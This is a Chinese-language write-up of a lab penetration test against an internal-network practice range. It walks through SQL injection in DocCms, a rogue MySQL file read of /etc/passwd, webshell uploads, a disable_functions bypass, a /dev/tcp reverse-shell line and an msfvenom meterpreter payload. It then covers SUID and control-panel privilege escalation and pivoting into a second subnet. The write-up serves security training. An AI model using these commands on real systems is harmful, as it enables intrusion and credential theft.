您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

记一次内网靶场渗透测试

时间:2022-06-15 16:52:23  来源:  作者:星云博创

前言

最近在做内网渗透相关姿势点的总结,打了一些靶场,本次内网网络拓扑图如下所示,中等进阶难度。

记一次内网靶场渗透测试

 

测试过程

0x1:信息搜集

访问域名:

记一次内网靶场渗透测试

 

对域名解析的ip进行端口扫描:

nmap -sS --open -Pn -p- -v 192.168.0.122

记一次内网靶场渗透测试

 

网站进行目录扫描和指纹识别发现网站使用的是DocCms 2016 x1.

记一次内网靶场渗透测试

 

0x2:漏洞利用

网上搜索doccms 2016历史漏洞,说搜索功能处参数keyword存在sql注入,使用url二次编码进行绕过。

记一次内网靶场渗透测试

 

成功获取到网站admin账号密码但无法进行解密:

记一次内网靶场渗透测试

 

从网上下载源码,发现/setup/checkdb.php文件可以连接远程的MySQL,所以可以利用mysql的bug读取文件。

记一次内网靶场渗透测试

 

使用Rogue-MySql-Server读取文件:

记一次内网靶场渗透测试

 


http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb 这里获取到了网站的物理路径。

记一次内网靶场渗透测试

 

查看mysql.log文件,成功读取到/etc/passwd:

记一次内网靶场渗透测试

 

修改server.py文件中读取文件的路径为:

/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

记一次内网靶场渗透测试

 

再次查看mysql.log获取到数据库名称、用户名、密码:

www_ddd4.com

www_ddd4_com

x4ix6ZrM7b8nFYHn

记一次内网靶场渗透测试

 

前面端口扫描发现目标机器的3306端口是开放的,直接进行连接:

记一次内网靶场渗透测试

 

连接成功后,替换网站管理员admin账户的密码,查看admin/login.php,发现对密码使用加密算法进行了加密。

记一次内网靶场渗透测试

 

我们来使用加密算法class.docencryption.php,对123456进行加密。

记一次内网靶场渗透测试

 


4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd将加密后的值进行替换。

记一次内网靶场渗透测试

 

使用密码123456登录到后台:

记一次内网靶场渗透测试

 

通过网站查找历史漏洞,可以使用模版来getshell:

记一次内网靶场渗透测试

 


记一次内网靶场渗透测试

 

这里刚开始写入普通的一句话木马,使用蚁剑连接,显示为空,但是查看phpinfo文件并没有将eval函数写入到disable_function当中,换了冰蝎可以连接成功。

记一次内网靶场渗透测试

 

但是无法执行命令,查看disable_function,禁用了很多函数。

记一次内网靶场渗透测试

 

这里使用脚本进行绕过,将文件夹里的.so文件与.php文件上传到网站的目录下面:

记一次内网靶场渗透测试

 

然后访问执行命令:

http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记一次内网靶场渗透测试

 

直接使用sh反弹shell,反弹成功但是执行命令无反应:

/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1

记一次内网靶场渗透测试

 

使用matespolite生成木马文件:

msfvenom -p

linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf >

/home/kali/Desktop/haha

将木马文件上传到目标主机,赋权后执行:

记一次内网靶场渗透测试

 

msf返回一个meterpreter

记一次内网靶场渗透测试

 

使用Python/ target=_blank class=infotextkey>Python返回一个交互式shell

记一次内网靶场渗透测试

 

查看文件获取到第一个flag

记一次内网靶场渗透测试

 

0x3:提权

使用find进行提权

使用命令find / -type f -perm -u=s 2>/dev/null 发现可以利用find命令来进行提权:

记一次内网靶场渗透测试

 

find . -exec whoami ; -quit 提权成功:

记一次内网靶场渗透测试

 

宝塔提权

翻看文件发现宝塔的账户密码:

记一次内网靶场渗透测试

 

登录到宝塔上,使用计划任务进行提权:

记一次内网靶场渗透测试

 


记一次内网靶场渗透测试

 

成功获取到第二个flag:

记一次内网靶场渗透测试

 

0x4:内网渗透

使用现在的root权限的shell来运行前面我们生产的木马文件,来获取一个meterpreter。

记一次内网靶场渗透测试

 

查看路由和hosts文件,发现存在10.10.10.144主机:

记一次内网靶场渗透测试

 

添加路由:

Run autoroute -s 10.10.10.0/24

Run autoroute -p

记一次内网靶场渗透测试

 

设置代理:

记一次内网靶场渗透测试

 

可以访问http://10.10.10.145:8888说明代理搭建成功。

记一次内网靶场渗透测试

 

使用msf自带的模块对10.10.10.144进行端口扫描,发现开放了21、22、80、8080端口:

记一次内网靶场渗透测试

 

浏览器代理访问www.ddd5.com弱口令进入后台,此站点使用的是emlog,网上搜索历史漏洞,发现后台可以通过上传模版来getshell。

从网上下载一个emlog模版,然后在文件里新建一个php一句话。

记一次内网靶场渗透测试

 

然后将压缩文件进行上传安装:

记一次内网靶场渗透测试

 

上传成功后,一句话文件的位置为
/content/templates/beginning/haha.php。

记一次内网靶场渗透测试

 


http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id来执行系统命令。

记一次内网靶场渗透测试

 

访问8080端口:

记一次内网靶场渗透测试

 

使用默认密码wdlinux.cn无法登录,对目录扫描发现存在phpmyadmin使用默认密码登录成功,查看wdcpdb数据库,获取到admin用户的密码。

记一次内网靶场渗透测试

 

对密码进行md5解密获取到明文密码:

记一次内网靶场渗透测试

 

使用密码进行登录,发现显示登录超时,网上说是时间不同步导致的。

记一次内网靶场渗透测试

 

使用前面的一句话来查看系统当前的时间:

记一次内网靶场渗透测试

 

因为权限不够,无法修改目标机器的时间,但可以修改自己本地系统时间然后成功登录。

搜索wdcp利用方法,发现可以执行系统命令,当前用户为root。

记一次内网靶场渗透测试

 

但是无法使用bash进行反弹,然后考虑的是使用msfvenoom生产一个正向的木马文件,然后执行木马文件来上线msf,最后发现也是不行被拦截。

记一次内网靶场渗透测试

 

在安全管理-->ssh管理处生成密码,并将密钥下载下来:

记一次内网靶场渗透测试

 

利用proxychAIns使用ssh直接连接获取第三个falg。

记一次内网靶场渗透测试

 

总结

在测试过中发现,doccms后台也可以使用写入配置文件来拿shell,然后在绕过disable_functions 时,刚开始想的是直接使用蚁剑的插件来绕过,但失败了,只好手工来绕过disable_functions,也学习了WDCP的利用方法。



Tags:渗透测试   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
详解渗透测试和漏洞扫描的开源自动化解决方案
译者 | 刘涛审校 | 重楼目录 什么是渗透测试 规划和侦察 扫描 开发和获得访问权限 维持访问权 报告和控制 什么是漏洞扫描 渗透测试工具 渗透测试的自动化 渗透自动化工作流...【详细内容】
2024-02-27  Search: 渗透测试  点击:(35)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  Search: 渗透测试  点击:(110)  评论:(0)  加入收藏
网络安全中的渗透测试主要有几个方面
渗透测试中主要有软件测试和渗透测试。1、测试对象不同软件测试:主要测试的是程序、数据、文档。渗透测试:对象主要为网络设备、主机操作系统、数据库系统和应用系统。2、测试...【详细内容】
2023-11-02  Search: 渗透测试  点击:(92)  评论:(0)  加入收藏
RouterSploit:一款功能强大的嵌入式设备渗透测试框架
关于RouterSploitRouterSploit是一款功能强大的嵌入式设备渗透测试与漏洞利用框架,该工具是一款完全开源的工具,基于Python语言开发,可以帮助广大研究人员检测嵌入式设备中潜在...【详细内容】
2023-09-27  Search: 渗透测试  点击:(308)  评论:(0)  加入收藏
​ 来探讨看看关于MacOS 应用程序中的渗透测试
在当今数字时代,网络安全和应用程序的安全性问题已成为我们生活和工作中必须关注的一个重要问题。无论是个人还是组织,我们都需要采取措施来保护我们的计算机和网络系统,防止恶...【详细内容】
2023-08-16  Search: 渗透测试  点击:(244)  评论:(0)  加入收藏
安全专业人员必备的网络渗透测试工具
安全行业更经常使用用于渗透测试的网络安全工具来测试网络和应用程序中的漏洞。在这里,您可以找到综合网络安全工具列表,其中涵盖了在所有环境中执行渗透测试操作。网络安全工...【详细内容】
2023-06-14  Search: 渗透测试  点击:(158)  评论:(0)  加入收藏
渗透测试和黑客工具列表
安全行业更常使用渗透测试和黑客工具来测试网络和应用程序中的漏洞。在这里,您可以找到涵盖在所有环境中执行渗透测试操作的综合渗透测试和黑客工具列表。渗透测试和道德黑客...【详细内容】
2023-06-10  Search: 渗透测试  点击:(226)  评论:(0)  加入收藏
企业开展渗透测试的5个要素
渗透测试是指安全专业人员在企业的许可下,对其网络或数字化系统进行模拟攻击并评估其安全性。然而,很多企业在准备开展渗透测试工作时,他们对渗透测试服务的理解和需求,往往与现...【详细内容】
2023-05-16  Search: 渗透测试  点击:(343)  评论:(0)  加入收藏
如何进行物联网渗透测试?
渗透测试揭示了未知的安全漏洞,因为值得信赖的专业人员模拟威胁性攻击。他们深入挖掘固件和硬件,以查找漏洞和可访问性疏忽。物联网(IoT)连接设备是严重且可预防的安全漏洞的...【详细内容】
2023-04-26  Search: 渗透测试  点击:(328)  评论:(0)  加入收藏
1分钟搞懂漏洞扫描、渗透测试和代码审计三者的区别
随着网络安全方面法律的完善以及等保2.0的出台,很多单位往往要求出具系统安全评估报告,漏洞扫描、渗透测试、代码审计作为三种不同的安全评估类型,企业在网络安全建设中该如何...【详细内容】
2023-02-25  Search: 渗透测试  点击:(207)  评论:(0)  加入收藏
▌简易百科推荐
小心“黑客”利用445端口攻击你的Win8系统!
Windows 8系统自带一个名为SMB(Server Message Block)的服务,使用445端口进行通信。这个服务主要用于文件共享和网络协议等功能,但是无良黑客也会利用这个服务来攻击你的电脑。...【详细内容】
2024-04-10    潘小姐  Tags:445端口   点击:(11)  评论:(0)  加入收藏
为什么黑客不去攻击微信钱包?
在这个数字化时代,网络安全已经成为我们生活中不可或缺的一部分。每当我们打开手机,使用微信钱包进行支付时,是否曾有过这样的疑问:为什么黑客不去攻击微信钱包?这个问题,就像是在...【详细内容】
2024-02-19  猫探长情报局  今日头条  Tags:黑客   点击:(56)  评论:(0)  加入收藏
发条消息就能破解iPhone?苹果系统这次像被“内鬼”攻破的。。。
前几天,差评君在网上冲浪的时候,看到了一条相当震撼的消息:简单来讲,就是主打封闭安全的 iPhone ,不仅被攻击者发现了漏洞成功入侵,完全控制整个手机。更加抽象的是入侵的还是知名...【详细内容】
2024-01-26  差评    Tags:破解iPhone   点击:(142)  评论:(0)  加入收藏
十种黑客攻击手段及防御方法
在互联网的世界里,网站安全犹如一座城堡,需要严密的防线来抵御各种攻击手段。以下是10种最常见的网络攻击手段,以及我们如何采取措施来保护我们的网站。1. 跨站脚本攻击:这是黑...【详细内容】
2024-01-21  老吴讲IT    Tags:黑客攻击   点击:(88)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  五湖联技术服务公司    Tags:渗透测试   点击:(110)  评论:(0)  加入收藏
作为一名黑客/安全专家,应该掌握什么技能?熟悉哪些软件/工具?
作为一名合格的黑客/网络安全专家,应该具备一套全面的知识体系和实战技能,同时熟悉多种安全软件和工具。今天我们将根据目前市面上流行的一些应用程序,以及常规的安全防护措施,...【详细内容】
2023-12-11  黑客联盟I    Tags:黑客   点击:(144)  评论:(0)  加入收藏
黑客是如何入侵一个网站的?(网络安全人员应该了解的知识)
前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。我首先必须澄清的是,作为一个网络安全专家,我不提供或者鼓励任何违法的行为,包括未经授权的计算机系统入侵...【详细内容】
2023-12-07  黑客联盟I    Tags:黑客   点击:(179)  评论:(0)  加入收藏
网络黑客入侵解析:保护你的网络安全
在当今数字化快速发展的时代,网络安全问题逐渐成为人们关注的焦点。网络黑客入侵事件频发,给个人和企业带来了严重的威胁。本文将深入解析网络黑客入侵的常见手段和原因,并探讨...【详细内容】
2023-12-05  小记青春    Tags:黑客入侵   点击:(165)  评论:(0)  加入收藏
黑客滥用 Google 表单进行诈骗
研究人员最近发现滥用 Google 表单的垃圾邮件有所增加,攻击者首先在 Google 表单中创建新的问卷调查,并且利用受害者的电子邮件地址参与问卷调查,滥用 Google 表单的功能将垃圾...【详细内容】
2023-11-23  区块软件开发  今日头条  Tags:黑客   点击:(230)  评论:(0)  加入收藏
黑客工具 Flipper Zero 曝光,可利用蓝牙弹出窗口崩溃 iPhone
据外媒 9to5Mac 报道,一种流行且廉价的黑客设备 Flipper Zero 今年 9 月首次出现,可通过制造蓝牙弹出窗口,向 iPhone 和 iPad 重复告诉发送垃圾内容,直到相关设备最终崩溃,不过直...【详细内容】
2023-11-20  IT之家    Tags:黑客工具   点击:(242)  评论:(0)  加入收藏
站内最新
站内热门
站内头条